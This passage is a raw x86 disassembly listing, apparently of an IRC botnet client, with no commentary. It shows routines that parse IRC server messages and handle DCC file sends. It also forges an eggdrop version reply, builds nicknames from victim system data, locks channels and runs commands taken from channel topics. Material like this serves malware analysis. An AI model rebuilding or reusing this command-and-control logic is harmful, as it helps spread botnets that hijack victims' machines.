loc_409762:				; CODE XREF: sub_4096CB+72j
					; sub_4096CB+82j
		lea	eax, [ebp+arg_8]
		push	eax
		mov	eax, 1000h
		push	[ebp+arg_4]
		sub	eax, edi
		push	eax
		lea	eax, [ebp+edi+var_1000]
		push	eax
		call	sub_411790	; _vsnprintf
		mov	esi, [esi+121h]
		add	esp, 10h
		cmp	esi, 2
		pop	edi
		jz	short loc_409792
		cmp	esi, 3
		jnz	short loc_4097A5

loc_409792:				; CODE XREF: sub_4096CB+C0j
		lea	eax, [ebp+var_1000]
		push	offset dword_415040
		push	eax
		call	sub_4114EE	; _mbscat
		pop	ecx
		pop	ecx

loc_4097A5:				; CODE XREF: sub_4096CB+C5j
		lea	eax, [ebp+var_1000]
		push	offset asc_413214 ; "\r\n"
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	dword_419D44
		call	sub_403D9D
		add	esp, 18h

loc_4097D8:				; CODE XREF: sub_4096CB+18j
		pop	esi
		leave
		retn
sub_4096CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097DB	proc near		; CODE XREF: sub_40287C:loc_402A05p
					; sub_4052DF+D8p ...

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_411540
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_1000]
		push	[ebp+arg_0]
		push	1000h
		push	eax
		call	sub_411790	; _vsnprintf
		lea	eax, [ebp+var_1000]
		push	offset asc_413214 ; "\r\n"
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	dword_419D44
		call	sub_403D9D
		add	esp, 28h
		leave
		retn
sub_4097DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_409835	proc near		; CODE XREF: sub_409843+Bp
		push	0
		push	offset aMirc	; "mIRC"
		call	dword_4121F8
		retn
sub_409835	endp


; =============== S U B	R O U T	I N E =======================================



sub_409843	proc near		; CODE XREF: sub_407A76+12EDp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[esp+0Ch+arg_0], edi
		jz	short loc_4098C3
		call	sub_409835
		mov	esi, eax
		cmp	esi, edi
		mov	[esp+0Ch+var_4], esi
		jz	short loc_4098C3
		push	ebx
		push	ebp
		push	offset aMirc	; "mIRC"
		push	1000h
		push	edi
		push	4
		push	edi
		push	0FFFFFFFFh
		call	dword_4120C8	; CreateFileMappingA
		push	edi
		push	edi
		mov	ebx, eax
		push	edi
		push	0F001Fh
		push	ebx
		call	dword_4120C4	; MapViewOfFile
		push	[esp+14h+arg_0]
		mov	ebp, eax
		push	ebp
		call	sub_4114DC	; sprintf
		pop	ecx
		pop	ecx
		push	edi
		push	1
		push	4C8h
		push	esi
		mov	esi, dword_4121FC
		call	esi
		push	edi
		push	1
		push	4C9h
		push	[esp+20h+var_4]
		call	esi
		push	ebp
		call	dword_4120C0	; UnmapViewOfFile
		push	ebx
		call	dword_4120AC	; CloseHandle
		pop	ebp
		pop	ebx

loc_4098C3:				; CODE XREF: sub_409843+9j
					; sub_409843+18j
		pop	edi
		pop	esi
		pop	ecx
		retn
sub_409843	endp


; =============== S U B	R O U T	I N E =======================================



sub_4098C7	proc near		; CODE XREF: sub_407A76+B0p
					; sub_409277+144p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	edi
		push	ebx
		call	sub_4114BE	; strlen
		mov	ebp, eax
		xor	edi, edi
		test	ebp, ebp
		pop	ecx
		jle	short loc_409914
		push	esi

loc_4098DE:				; CODE XREF: sub_4098C7+4Aj
		mov	al, [edi+ebx]
		lea	esi, [edi+ebx]
		cmp	al, 23h
		jnz	short loc_4098EE
		push	39h
		push	30h
		jmp	short loc_409905
; ---------------------------------------------------------------------------

loc_4098EE:				; CODE XREF: sub_4098C7+1Fj
		cmp	al, 3Fh
		jnz	short loc_40990E
		call	sub_40B4C3
		test	eax, eax
		jz	short loc_409901
		push	7Ah
		push	61h
		jmp	short loc_409905
; ---------------------------------------------------------------------------

loc_409901:				; CODE XREF: sub_4098C7+32j
		push	5Ah
		push	41h

loc_409905:				; CODE XREF: sub_4098C7+25j
					; sub_4098C7+38j
		call	sub_40B459
		pop	ecx
		mov	[esi], al
		pop	ecx

loc_40990E:				; CODE XREF: sub_4098C7+29j
		inc	edi
		cmp	edi, ebp
		jl	short loc_4098DE
		pop	esi

loc_409914:				; CODE XREF: sub_4098C7+14j
		pop	edi
		pop	ebp
		pop	ebx
		retn
sub_4098C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409918	proc near		; CODE XREF: sub_40A236+1C4p

var_338		= byte ptr -338h
var_2BC		= byte ptr -2BCh
var_260		= byte ptr -260h
var_23F		= byte ptr -23Fh
var_1BC		= byte ptr -1BCh
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_13F		= dword	ptr -13Fh
var_13B		= byte ptr -13Bh
var_C1		= dword	ptr -0C1h
var_BC		= byte ptr -0BCh
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 338h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_C]
		push	edi
		push	offset aPing	; "PING"
		push	dword ptr [esi]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40994B
		push	dword ptr [esi+4]
		push	offset aPongS	; "PONG	%s"

loc_409941:				; CODE XREF: sub_409918+39Ej
					; sub_409918+3FCj ...
		call	sub_4097DB
		jmp	loc_409DBA
; ---------------------------------------------------------------------------

loc_40994B:				; CODE XREF: sub_409918+1Fj
		push	offset aPong	; "PONG"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A231
		push	offset aMode	; "MODE"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A231
		push	offset aPrivmsg	; "PRIVMSG"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409B55
		mov	eax, [esi+0Ch]
		xor	edi, edi
		cmp	eax, edi
		jz	loc_409B57
		cmp	byte ptr [eax+1], 1
		jnz	loc_409B57
		push	offset dword_415154
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409AB9
		mov	eax, [esi+10h]
		cmp	eax, edi
		jz	loc_409AB9
		push	offset aSend	; "SEND"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409AB9
		cmp	[ebp+arg_0], edi
		jz	loc_409AB9
		mov	ecx, [esi+14h]
		cmp	ecx, edi
		jz	loc_40A231
		cmp	[esi+18h], edi
		jz	loc_40A231
		cmp	[esi+1Ch], edi
		jz	loc_40A231
		mov	eax, [esi+20h]
		cmp	eax, edi
		jz	loc_40A231
		cmp	byte ptr [ecx],	22h
		jz	loc_40A231
		push	eax
		call	sub_4114BE	; strlen
		mov	ecx, [esi+20h]
		push	[ebp+arg_4]
		and	byte ptr [eax+ecx], 0
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_23F]
		push	offset dword_418E50
		push	eax
		call	sub_4114B8	; _mbscpy
		push	7Ah
		lea	eax, [ebp+var_13B]
		push	edi
		push	eax
		mov	[ebp+var_13F], edi
		call	sub_4114E8	; memset
		push	dword ptr [esi+18h]
		mov	[ebp+var_C1], 1
		call	sub_41151C	; atoi
		movzx	ecx, al
		add	esp, 24h
		push	ecx
		mov	ecx, eax
		shr	ecx, 8
		movzx	ecx, cl
		push	ecx
		mov	ecx, eax
		shr	ecx, 10h
		movzx	ecx, cl
		shr	eax, 18h
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C]
		push	offset dword_413A58
		push	eax
		call	sub_4114DC	; sprintf
		push	dword ptr [esi+20h]
		lea	eax, [ebp+var_2C]
		push	dword ptr [esi+1Ch]
		push	eax
		lea	eax, [ebp+var_260]
		push	dword ptr [esi+14h]
		push	[ebp+arg_4]
		push	eax
		call	sub_401EA8
		add	esp, 30h
		jmp	loc_40A231
; ---------------------------------------------------------------------------

loc_409AB9:				; CODE XREF: sub_409918+9Ej
					; sub_409918+A9j ...
		push	offset dword_415140
		push	dword ptr [esi+0Ch]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409B19
		push	offset dword_415134
		push	dword ptr [esi+0Ch]
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409B19
		push	offset dword_41512C
		push	dword ptr [esi+0Ch]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409B04
		push	offset dword_415124
		push	dword ptr [esi+0Ch]
		call	dword_412110
		test	eax, eax
		jnz	short loc_409B57

loc_409B04:				; CODE XREF: sub_409918+1D8j
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		push	eax
		push	[ebp+arg_4]
		call	sub_4095E7
		jmp	loc_409DBA
; ---------------------------------------------------------------------------

loc_409B19:				; CODE XREF: sub_409918+1B2j
					; sub_409918+1C5j
		cmp	[ebp+arg_0], edi
		jz	short loc_409B3E
		push	offset dword_418FD0
		push	3AEh
		push	edi
		push	offset dword_415100
		push	[ebp+arg_4]
		call	sub_4095E7
		add	esp, 14h
		jmp	loc_40A231
; ---------------------------------------------------------------------------

loc_409B3E:				; CODE XREF: sub_409918+204j
		push	offset aEggdropV1_6_16 ; "eggdrop v1.6.16"
		push	offset dword_4150E0
		push	[ebp+arg_4]
		call	sub_4095E7
		jmp	loc_409E4C
; ---------------------------------------------------------------------------

loc_409B55:				; CODE XREF: sub_409918+72j
		xor	edi, edi

loc_409B57:				; CODE XREF: sub_409918+7Fj
					; sub_409918+89j ...
		push	offset a433	; "433"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409CBB
		call	sub_406AB7
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, 4
		mov	[ebp+arg_10], eax
		jnb	short loc_409BBE
		call	sub_404DAD
		test	eax, eax
		jnz	short loc_409BBE
		lea	eax, [ebp+var_BC]
		push	offset dword_418E44
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_BC]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_BC]
		push	eax
		call	sub_4098C7
		add	esp, 10h
		jmp	loc_409CAA
; ---------------------------------------------------------------------------

loc_409BBE:				; CODE XREF: sub_409918+26Aj
					; sub_409918+273j
		call	sub_404D00
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_405F9A
		test	eax, eax
		pop	ecx
		jnz	short loc_409BE1
		lea	eax, [ebp+var_3C]
		push	offset aUnk	; "UNK"
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx

loc_409BE1:				; CODE XREF: sub_409918+2B7j
		call	sub_4067B2
		mov	ecx, 400h
		cmp	eax, ecx
		jbe	short loc_409BF6
		call	sub_4067B2
		jmp	short loc_409BF8
; ---------------------------------------------------------------------------

loc_409BF6:				; CODE XREF: sub_409918+2D5j
		mov	eax, ecx

loc_409BF8:				; CODE XREF: sub_409918+2DCj
		shr	eax, 0Ah
		mov	[ebp+arg_4], eax
		call	sub_406373
		cmp	eax, 3E8h
		mov	ebx, offset aB	; "B"
		jnb	short loc_409C14
		mov	ebx, offset aA	; "A"

loc_409C14:				; CODE XREF: sub_409918+2F5j
		cmp	eax, 1F4h
		jnb	short loc_409C20
		mov	ebx, offset aG	; "G"

loc_409C20:				; CODE XREF: sub_409918+301j
		push	24h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		mov	[ebp+var_150], 94h
		xor	esi, esi
		rep stosd
		lea	eax, [ebp+var_150]
		push	eax
		call	dword_412034	; GetVersionExA
		cmp	[ebp+var_14C], 5
		jnz	short loc_409C5B
		cmp	[ebp+var_148], 1
		jnz	short loc_409C5B
		push	1
		pop	esi

loc_409C5B:				; CODE XREF: sub_409918+335j
					; sub_409918+33Ej
		push	5Ah
		push	41h
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_40B459
		pop	ecx
		pop	ecx
		test	esi, esi
		push	eax
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	ebx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_3C]
		push	5Dh
		push	[ebp+arg_10]
		push	5Bh
		push	5Dh
		push	eax
		push	5Bh
		lea	eax, [ebp+var_BC]
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		push	eax
		call	sub_4114DC	; sprintf
		add	esp, 34h

loc_409CAA:				; CODE XREF: sub_409918+2A1j
		lea	eax, [ebp+var_BC]
		push	eax
		push	offset dword_414F0C
		jmp	loc_409941
; ---------------------------------------------------------------------------

loc_409CBB:				; CODE XREF: sub_409918+250j
		push	offset aError	; "ERROR"
		push	dword ptr [esi]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409CDA
		push	edi
		push	edi
		push	edi
		call	sub_409522
		jmp	loc_409E4C
; ---------------------------------------------------------------------------

loc_409CDA:				; CODE XREF: sub_409918+3B3j
		push	offset aJoin	; "JOIN"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		mov	edi, offset byte_41A1E8
		test	eax, eax
		pop	ecx
		jnz	short loc_409D19
		push	edi
		push	[ebp+arg_4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409D19
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_409D19
		cmp	byte ptr [eax],	3Ah
		jnz	short loc_409D0E
		inc	eax

loc_409D0E:				; CODE XREF: sub_409918+3F3j
		push	eax
		push	offset aModeSSmntu ; "MODE %s +smntu"
		jmp	loc_409941
; ---------------------------------------------------------------------------

loc_409D19:				; CODE XREF: sub_409918+3D8j
					; sub_409918+3E7j ...
		push	offset a001	; "001"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409DC1
		push	21h
		lea	eax, [ebp+var_3C]
		push	dword ptr [esi+8]
		push	eax
		call	sub_4114D6	; strncpy
		lea	eax, [ebp+var_3C]
		push	eax
		push	edi
		call	sub_4114B8	; _mbscpy
		add	esp, 14h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aModeSXi	; "MODE	%s +xi"
		call	sub_4097DB
		pop	ecx
		pop	ecx
		push	offset dword_41A0E8
		push	offset dword_418E50
		push	offset dword_414AD8
		call	sub_4097DB
		add	esp, 0Ch
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4091A7
		push	eax
		call	sub_40348C
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409D9B
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40324A
		test	eax, eax
		pop	ecx
		jz	short loc_409DA9

loc_409D9B:				; CODE XREF: sub_409918+470j
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		jmp	loc_409941
; ---------------------------------------------------------------------------

loc_409DA9:				; CODE XREF: sub_409918+481j
		lea	eax, [ebp+var_1BC]
		push	eax
		push	offset dword_41A2E8

loc_409DB5:				; CODE XREF: sub_409918+571j
		call	sub_4114B8	; _mbscpy

loc_409DBA:				; CODE XREF: sub_409918+2Ej
					; sub_409918+1FCj ...
		pop	ecx
		pop	ecx
		jmp	loc_40A231
; ---------------------------------------------------------------------------

loc_409DC1:				; CODE XREF: sub_409918+412j
		push	offset a451	; "451"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409DDE
		push	eax
		push	1
		call	sub_409277
		jmp	short loc_409DBA
; ---------------------------------------------------------------------------

loc_409DDE:				; CODE XREF: sub_409918+4BAj
		push	offset a302	; "302"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409E54
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	loc_40A231
		push	offset a@	; "@"
		push	esi
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A231
		mov	esi, 100h
		lea	ebx, [eax+1]
		push	esi
		mov	edi, offset dword_41A2E8
		push	ebx
		push	edi
		call	sub_4059C2
		lea	eax, [ebp+var_1BC]
		push	eax
		push	ebx
		call	sub_4035CE
		add	esp, 14h
		test	al, al
		jz	loc_40A231
		lea	eax, [ebp+var_1BC]
		push	esi
		push	eax
		push	edi
		call	sub_4059C2

loc_409E4C:				; CODE XREF: sub_409918+238j
					; sub_409918+3BDj
		add	esp, 0Ch
		jmp	loc_40A231
; ---------------------------------------------------------------------------

loc_409E54:				; CODE XREF: sub_409918+4D7j
		push	offset aNick	; "NICK"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409E8E
		cmp	[esi+8], eax
		jz	loc_40A231
		push	edi
		push	[ebp+arg_4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A231
		mov	eax, [esi+8]
		inc	eax
		push	eax
		push	edi
		jmp	loc_409DB5
; ---------------------------------------------------------------------------

loc_409E8E:				; CODE XREF: sub_409918+54Dj
		push	offset a332	; "332"
		push	dword ptr [esi+4]
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409F76
		mov	edi, [ebp+arg_10]
		mov	eax, [edi+10h]
		test	eax, eax
		jz	loc_40A231
		mov	dl, [eax+1]
		lea	ecx, [eax+1]
		test	dl, dl
		jz	loc_40A231
		cmp	dl, 3Dh
		jnz	short loc_409F0C
		add	eax, 2
		push	ecx
		push	eax
		call	sub_40A44E
		push	eax
		mov	eax, [edi+10h]
		inc	eax
		push	eax
		call	sub_40A82E
		mov	ebx, eax
		mov	eax, [edi+10h]
		inc	eax
		push	ebx
		push	eax
		call	sub_40A7AE
		mov	eax, [edi+14h]
		add	esp, 18h
		test	eax, eax
		jz	short loc_409F04
		push	eax
		mov	eax, [edi+10h]
		lea	eax, [eax+ebx+1]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_409F0C
; ---------------------------------------------------------------------------

loc_409F04:				; CODE XREF: sub_409918+5D8j
		mov	eax, [edi+10h]
		and	byte ptr [eax+ebx+1], 0

loc_409F0C:				; CODE XREF: sub_409918+5ACj
					; sub_409918+5EAj
		mov	edi, [edi+10h]
		cmp	byte ptr [edi+1], 0
		lea	eax, [edi+1]
		jz	loc_40A231
		lea	ecx, [ebp+arg_4]
		mov	edi, offset asc_415084 ; "]["
		push	ecx
		push	edi
		push	eax
		call	sub_405E4F
		add	esp, 0Ch

loc_409F2F:				; CODE XREF: sub_409918+65Cj
		test	eax, eax
		jz	loc_40A231

loc_409F37:				; CODE XREF: sub_409918+625j
		cmp	byte ptr [eax],	20h
		jnz	short loc_409F3F
		inc	eax
		jmp	short loc_409F37
; ---------------------------------------------------------------------------

loc_409F3F:				; CODE XREF: sub_409918+622j
		push	eax
		lea	eax, [ebp+var_2BC]
		push	dword ptr [esi+0Ch]
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_40A236
		lea	eax, [ebp+arg_4]
		push	eax
		push	edi
		push	0
		call	sub_405E4F
		add	esp, 24h
		jmp	short loc_409F2F
; ---------------------------------------------------------------------------

loc_409F76:				; CODE XREF: sub_409918+587j
		cmp	[ebp+arg_0], 0
		jz	loc_40A231
		cmp	dword ptr [esi+8], 0
		jz	loc_40A231
		cmp	dword ptr [esi+0Ch], 0
		lea	ebx, [esi+0Ch]
		jz	loc_40A231
		push	offset byte_41A1E8
		push	[ebp+arg_4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A231
		mov	eax, [ebp+arg_10]
		inc	dword ptr [ebx]
		add	eax, 0Ch
		push	offset aPrivmsg	; "PRIVMSG"
		mov	[ebp+var_14], eax
		inc	dword ptr [eax]
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		pop	ecx
		push	3
		test	eax, eax
		pop	edi
		jnz	short loc_409FE7
		mov	eax, [ebx]
		cmp	byte ptr [eax],	1
		jz	short loc_40A005
		mov	eax, [esi+8]
		and	[ebp+var_4], 0
		mov	[ebp+arg_0], eax
		jmp	loc_40A093
; ---------------------------------------------------------------------------

loc_409FE7:				; CODE XREF: sub_409918+6B7j
		push	offset aNotice	; "NOTICE"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A231
		mov	eax, [ebx]
		cmp	byte ptr [eax],	1
		jnz	short loc_40A04A

loc_40A005:				; CODE XREF: sub_409918+6BEj
		mov	ecx, [ebp+arg_4]
		inc	eax
		mov	[ebx], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_4], edi
		xor	edi, edi
		inc	dword ptr [eax]
		cmp	[esi], edi
		mov	[ebp+arg_0], ecx
		jz	short loc_40A073
		mov	[ebp+arg_C], esi

loc_40A01F:				; CODE XREF: sub_409918+72Ej
		cmp	edi, 0Fh
		jz	short loc_40A073
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_4114BE	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx]
		cmp	byte ptr [ecx+eax-1], 1
		jz	short loc_40A059
		add	[ebp+arg_C], 4
		inc	edi
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 0
		jnz	short loc_40A01F
		jmp	short loc_40A073
; ---------------------------------------------------------------------------

loc_40A04A:				; CODE XREF: sub_409918+6EBj
		mov	eax, [esi+8]
		mov	[ebp+var_4], 1
		mov	[ebp+arg_0], eax
		jmp	short loc_40A093
; ---------------------------------------------------------------------------

loc_40A059:				; CODE XREF: sub_409918+721j
		mov	ecx, edi
		shl	ecx, 2
		mov	edx, [ecx+esi]
		and	byte ptr [edx+eax-1], 0
		mov	edx, [ebp+arg_10]
		mov	ecx, [ecx+edx]
		and	byte ptr [ecx+eax-1], 0
		jmp	short loc_40A093
; ---------------------------------------------------------------------------

loc_40A073:				; CODE XREF: sub_409918+702j
					; sub_409918+70Aj ...
		mov	eax, [ebp+arg_10]
		shl	edi, 2
		push	dword ptr [edi+eax]
		call	sub_4114BE	; strlen
		pop	ecx
		mov	ecx, [edi+esi]
		cmp	byte ptr [ecx+eax-1], 1
		lea	eax, [ecx+eax-1]
		jnz	short loc_40A093
		mov	byte ptr [eax],	1

loc_40A093:				; CODE XREF: sub_409918+6CAj
					; sub_409918+73Fj ...
		push	offset byte_41A1E8
		push	[ebp+arg_0]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A0AC
		mov	eax, [ebp+arg_4]
		mov	[ebp+arg_0], eax

loc_40A0AC:				; CODE XREF: sub_409918+78Cj
		push	7Ah
		lea	eax, [ebp+var_338]
		push	0
		push	eax
		call	sub_4114E8	; memset
		mov	eax, [ebp+arg_10]
		and	[ebp+arg_C], 0
		mov	edi, [eax]
		push	edi
		mov	[ebp+var_18], edi
		call	sub_4114BE	; strlen
		add	esp, 10h
		cmp	eax, 3
		mov	[ebp+var_10], eax
		jb	loc_40A182

loc_40A0DD:				; CODE XREF: sub_409918+7FFj
		mov	cl, [eax+edi-1]
		cmp	cl, 20h
		jnz	short loc_40A0E9
		dec	eax
		jmp	short loc_40A111
; ---------------------------------------------------------------------------

loc_40A0E9:				; CODE XREF: sub_409918+7CCj
		cmp	byte ptr [eax+edi-3], 20h
		jnz	short loc_40A119
		cmp	byte ptr [eax+edi-2], 2Dh
		jnz	short loc_40A119
		cmp	cl, 7Ah
		jg	short loc_40A119
		movsx	ecx, cl
		mov	[ebp+arg_C], 1
		sub	eax, 3
		mov	[ebp+ecx+var_338], 1

loc_40A111:				; CODE XREF: sub_409918+7CFj
		cmp	eax, 3
		mov	[ebp+var_10], eax
		jnb	short loc_40A0DD

loc_40A119:				; CODE XREF: sub_409918+7D6j
					; sub_409918+7DDj ...
		cmp	[ebp+arg_C], 0
		jz	short loc_40A182
		mov	edi, [ebp+arg_10]
		and	[ebp+var_C], 0
		mov	[ebp+var_8], esi
		sub	[ebp+var_8], edi

loc_40A12C:				; CODE XREF: sub_409918+868j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_40A182
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_18]
		add	ecx, edx
		cmp	eax, ecx
		jb	short loc_40A176
		xor	ecx, ecx
		cmp	[ebp+arg_C], ecx
		jz	short loc_40A163
		cmp	[ebp+var_C], ecx
		jz	short loc_40A160
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+edi-4]
		call	sub_4114BE	; strlen
		pop	ecx
		mov	ecx, [edi-4]
		and	byte ptr [eax+ecx], 0
		xor	ecx, ecx

loc_40A160:				; CODE XREF: sub_409918+830j
		mov	[ebp+arg_C], ecx

loc_40A163:				; CODE XREF: sub_409918+82Bj
		mov	eax, [edi]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_8]
		add	eax, edi
		mov	edx, [eax]
		and	byte ptr [edx],	0
		mov	[edi], ecx
		mov	[eax], ecx

loc_40A176:				; CODE XREF: sub_409918+824j
		inc	[ebp+var_C]
		add	edi, 4
		cmp	[ebp+var_C], 10h
		jb	short loc_40A12C

loc_40A182:				; CODE XREF: sub_409918+7BFj
					; sub_409918+805j ...
		mov	edi, offset byte_41A1E8
		push	edi
		push	dword ptr [esi+8]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A19C
		push	[ebp+var_14]
		push	ebx
		jmp	short loc_40A216
; ---------------------------------------------------------------------------

loc_40A19C:				; CODE XREF: sub_409918+87Cj
		add	esi, 10h
		cmp	dword ptr [esi], 0
		jz	loc_40A231
		push	offset asc_415078 ; "*"
		push	dword ptr [ebx]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A20E
		push	dword ptr [ebx]
		push	edi
		call	sub_40790B
		pop	ecx
		test	al, al
		pop	ecx
		jnz	short loc_40A20E
		push	dword ptr [ebx]
		call	sub_4114BE	; strlen
		cmp	eax, 4
		pop	ecx
		ja	short loc_40A231
		mov	edi, [ebx]
		push	edi
		call	sub_4114BE	; strlen
		cmp	byte ptr [eax+edi-1], 25h
		pop	ecx
		jnz	short loc_40A231
		push	edi
		call	sub_4114BE	; strlen
		mov	ecx, [ebx]
		and	byte ptr [eax+ecx-1], 0
		call	sub_40B480
		push	64h
		xor	edx, edx
		pop	ecx
		div	ecx
		push	dword ptr [ebx]
		mov	edi, edx
		inc	edi
		call	sub_41151C	; atoi
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jl	short loc_40A231

loc_40A20E:				; CODE XREF: sub_409918+8A0j
					; sub_409918+8AEj
		mov	eax, [ebp+arg_10]
		add	eax, 10h
		push	eax
		push	esi

loc_40A216:				; CODE XREF: sub_409918+882j
		lea	eax, [ebp+var_338]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407A76
		add	esp, 1Ch

loc_40A231:				; CODE XREF: sub_409918+44j
					; sub_409918+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A236	proc near		; CODE XREF: sub_408D81+70p
					; sub_409918+648p ...

var_1184	= byte ptr -1184h
var_184		= byte ptr -184h
var_105		= byte ptr -105h
var_104		= byte ptr -104h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_78		= dword	ptr -78h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1184h
		call	sub_411540
		push	ebx
		lea	eax, [ebp+var_84]
		push	10h
		push	eax
		lea	eax, [ebp+var_44]
		xor	ebx, ebx
		push	eax
		lea	eax, [ebp+var_1184]
		push	eax
		mov	[ebp+var_4], ebx
		push	[ebp+arg_0]
		call	sub_4058EE
